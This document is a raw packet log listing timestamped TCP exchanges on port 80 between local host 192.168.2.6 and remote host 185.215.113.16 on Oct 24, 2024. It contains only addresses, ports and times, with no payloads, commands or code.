Oct 24, 2024 18:08:21.714217901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714242935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714251041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714283943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714315891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714322090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714349031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714364052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714406967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714452028 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714459896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714493036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714525938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714549065 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714559078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714595079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714601994 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714627028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714673996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714708090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714714050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714762926 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714791059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714818954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714853048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714894056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714903116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714939117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.714982986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.714996099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715049982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715086937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715099096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715131998 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715154886 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715163946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715198040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715230942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715246916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715281010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715325117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715337038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715375900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715379953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715411901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715445995 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715447903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715481043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715512991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715514898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715545893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715578079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715610027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715611935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715642929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715676069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715677023 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715708017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715709925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715740919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715773106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715774059 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715807915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715842009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715842962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715873957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715907097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715939045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.715948105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.715972900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.716015100 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.716747046 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.756752014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.756855965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.756912947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.757042885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.757180929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.802690029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.802751064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.802786112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.802817106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.802875042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.802922964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.802922964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.802957058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.803005934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.803216934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.803246021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.803304911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.803376913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.803407907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.803452015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.809804916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.809932947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.809969902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810003042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810036898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810060978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810060978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810070992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810125113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810154915 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810159922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810194016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810203075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810245991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810277939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810329914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810345888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810381889 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810399055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810434103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810467005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810501099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810519934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810534000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810550928 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810571909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810600996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810609102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810637951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810679913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810683012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810733080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810767889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810781002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810802937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810836077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810864925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810880899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810897112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810910940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810930967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810962915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.810973883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.810997963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.811031103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.811052084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.811065912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.811100960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.811131954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.831212044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831284046 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.831357002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831615925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831665039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831681013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831697941 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.831712961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.831876040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831892014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831919909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831923008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.831937075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831952095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.831975937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.832228899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832276106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.832290888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832305908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832346916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.832514048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832530975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832546949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832565069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832568884 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.832612991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.832664967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832679987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832695007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832726002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832731962 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.832741976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832756042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832772017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832788944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.832791090 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.832835913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.832904100 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833009005 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833024979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833039999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833058119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833065987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833080053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833089113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833096981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833112001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833122015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833127975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833143950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833153009 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833159924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833173037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833182096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833216906 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833399057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833451986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833467007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833492041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833517075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833532095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833561897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833571911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833576918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833594084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833599091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833609104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833623886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833628893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833667994 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833714962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833740950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833755970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833771944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833779097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833795071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833818913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833822012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833837986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833852053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833868980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833875895 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833894968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833905935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833910942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833925962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.833933115 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.833973885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834038019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834053040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834068060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834081888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834089041 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834099054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834112883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834120035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834130049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834152937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834249020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834264040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834279060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834286928 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834306002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834321022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834337950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834341049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834362984 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834404945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834419966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834434986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834444046 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834450960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834465981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834472895 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834528923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834552050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834625006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834640980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834657907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834673882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834680080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834688902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834706068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834707022 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834719896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834732056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834755898 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834784985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834830046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834846973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834882975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834901094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834917068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834929943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834949970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834961891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.834964991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.834971905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.835004091 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.836571932 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.876501083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.876602888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.876641035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.876646996 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.918301105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.922127008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.922197104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.922235012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.922244072 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.922270060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.922307968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.922313929 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.922982931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.923037052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.923052073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.923105955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.923140049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.923151016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.923177958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.923223972 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929306030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929400921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929419041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929435968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929446936 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929454088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929471016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929481983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929486990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929502964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929531097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929553986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929554939 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929570913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929588079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929605007 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929636002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929651976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929668903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929671049 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929693937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929711103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929718018 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929750919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929792881 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929932117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929949045 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929965973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929975033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:21.929981947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.929999113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:21.930007935 CEST	49744	80	192.168.2.6	185.215.113.16
